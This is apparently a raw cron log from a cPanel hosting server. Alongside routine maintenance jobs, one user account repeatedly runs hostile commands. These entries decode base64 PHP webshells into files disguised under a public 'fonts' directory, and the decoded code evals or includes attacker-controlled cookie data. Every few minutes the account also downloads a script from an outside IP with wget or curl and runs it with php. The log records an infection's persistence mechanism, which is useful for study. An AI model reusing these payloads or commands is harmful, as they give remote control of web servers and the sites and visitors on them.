Sep 21 04:27:01 ip-184-168-122-23 CROND[2104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:28:01 ip-184-168-122-23 CROND[2450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:28:01 ip-184-168-122-23 CROND[2452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:28:01 ip-184-168-122-23 CROND[2453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:28:01 ip-184-168-122-23 CROND[2454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:28:01 ip-184-168-122-23 CROND[2455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:29:01 ip-184-168-122-23 CROND[2850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:29:01 ip-184-168-122-23 CROND[2849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:29:01 ip-184-168-122-23 CROND[2851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:29:01 ip-184-168-122-23 CROND[2852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:30:01 ip-184-168-122-23 CROND[3235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:30:01 ip-184-168-122-23 CROND[3234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:30:01 ip-184-168-122-23 CROND[3236]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 21 04:30:01 ip-184-168-122-23 CROND[3243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:30:01 ip-184-168-122-23 CROND[3244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:30:01 ip-184-168-122-23 CROND[3241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:30:01 ip-184-168-122-23 CROND[3247]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 21 04:30:01 ip-184-168-122-23 CROND[3245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 04:30:01 ip-184-168-122-23 CROND[3242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:30:01 ip-184-168-122-23 CROND[3246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:31:01 ip-184-168-122-23 CROND[3550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:31:01 ip-184-168-122-23 CROND[3551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:31:01 ip-184-168-122-23 CROND[3552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:31:01 ip-184-168-122-23 CROND[3553]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 04:31:01 ip-184-168-122-23 CROND[3555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:32:01 ip-184-168-122-23 CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:32:01 ip-184-168-122-23 CROND[3858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:32:01 ip-184-168-122-23 CROND[3859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:32:01 ip-184-168-122-23 CROND[3861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:32:01 ip-184-168-122-23 CROND[3860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:33:01 ip-184-168-122-23 CROND[4162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:33:01 ip-184-168-122-23 CROND[4163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:33:01 ip-184-168-122-23 CROND[4165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:33:01 ip-184-168-122-23 CROND[4164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:34:01 ip-184-168-122-23 CROND[4646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:34:01 ip-184-168-122-23 CROND[4647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:34:01 ip-184-168-122-23 CROND[4651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:34:01 ip-184-168-122-23 CROND[4650]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 21 04:34:01 ip-184-168-122-23 CROND[4652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:34:01 ip-184-168-122-23 CROND[4655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:35:01 ip-184-168-122-23 CROND[4988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:35:02 ip-184-168-122-23 CROND[4990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:35:02 ip-184-168-122-23 CROND[4991]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 04:35:02 ip-184-168-122-23 CROND[4992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:35:02 ip-184-168-122-23 CROND[4993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:35:02 ip-184-168-122-23 CROND[4995]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 04:35:02 ip-184-168-122-23 CROND[4994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:35:02 ip-184-168-122-23 CROND[5003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:36:01 ip-184-168-122-23 CROND[5311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:36:01 ip-184-168-122-23 CROND[5309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:36:01 ip-184-168-122-23 CROND[5310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:36:01 ip-184-168-122-23 CROND[5316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:36:01 ip-184-168-122-23 CROND[5315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:37:01 ip-184-168-122-23 CROND[5669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:37:01 ip-184-168-122-23 CROND[5671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:37:01 ip-184-168-122-23 CROND[5670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:37:01 ip-184-168-122-23 CROND[5672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:38:01 ip-184-168-122-23 CROND[5964]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:38:01 ip-184-168-122-23 CROND[5965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:38:01 ip-184-168-122-23 CROND[5969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:38:01 ip-184-168-122-23 CROND[5971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:38:01 ip-184-168-122-23 CROND[5972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:38:01 ip-184-168-122-23 CROND[5973]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 21 04:39:01 ip-184-168-122-23 CROND[6327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:39:01 ip-184-168-122-23 CROND[6328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:39:01 ip-184-168-122-23 CROND[6331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
